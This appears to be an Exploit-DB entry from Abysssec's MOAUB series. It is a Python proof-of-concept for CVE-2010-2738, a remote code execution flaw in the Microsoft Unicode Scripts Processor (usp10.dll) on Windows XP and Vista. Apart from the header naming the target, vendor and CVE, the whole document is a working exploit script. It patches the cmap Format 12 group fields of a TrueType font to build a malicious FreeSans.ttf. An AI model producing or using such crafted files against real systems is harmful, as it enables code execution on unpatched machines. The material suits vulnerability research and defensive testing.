|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57  |  ''' ________ __ ____  |\/|/ __ \ /\| || |_ \   | \/ | || | /\ | || | |_) |  | |\/| | || |/ /\ \| || |_ <(Final Binary Analysis)  | || | |__| / ____ \ |__| | |_) |  |_||_|\____/_/\_\____/|____/  ''' ''' Title : Microsoft Unicode Scripts Processor Remote Code Execution  Version : usp10.dll XP , Vista Analysis: http://www.abysssec.com Vendor: http://www.microsoft.com Impact: Critical Contact : shahin [at] abysssec.com , info[at] abysssec.com Twitter : @abysssec CVE : CVE-2010-2738 MOAUB Number: MOAUB-FINAL http://www.exploit-db.com/moaub-30-microsoft-unicode-scripts-processor-remote-code-execution-ms10-063/ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15158.zip (moaub-30-PoC.zip) ''' import sys import struct def main(): try:  fdR = open('src.ttf', 'rb+')  strTotal = fdR.read()  str1 = strTotal[:18316]  nGroups = '\x00\x00\x00\xDC'# nGroups field from Format 12 subtableof cmap table  startCharCode = '\x00\xE5\xF7\x20'# startCharCodefield from a Group Structure  endCharCode= '\x00\xE5\xF7\xFE' # endCharCodefield from a Group Structure  str2 = strTotal[18328:]  fdW= open('FreeSans.ttf', 'wb+')  fdW.write(str1)  fdW.write(nGroups)  fdW.write(startCharCode)  fdW.write(endCharCode)  fdW.write(str2)  fdW.close()  fdR.close()  print '[-] Font file generated' except IOError: print '[*] Error : An IO error has occurred' print '[-] Exiting ...' sys.exit(-1) if __name__ == '__main__': main()  |